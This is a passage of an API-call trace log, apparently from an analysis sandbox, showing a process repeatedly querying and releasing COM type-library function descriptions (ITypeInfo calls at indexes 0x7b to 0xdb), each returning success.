(This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x80, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x81, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x82, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x83, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x84, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x85, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x86, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x87, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x88, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x89, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x90, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x91, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x92, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x93, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x94, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x95, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x96, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x97, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x98, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x99, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.756] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa9, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xaa, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xab, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xac, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xad, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xae, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xaf, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.757] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb9, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xba, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbb, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbc, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbd, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbe, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbf, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.758] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc9, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xca, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcb, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcc, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcd, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xce, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcf, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd9, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.759] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xda, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdb, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] 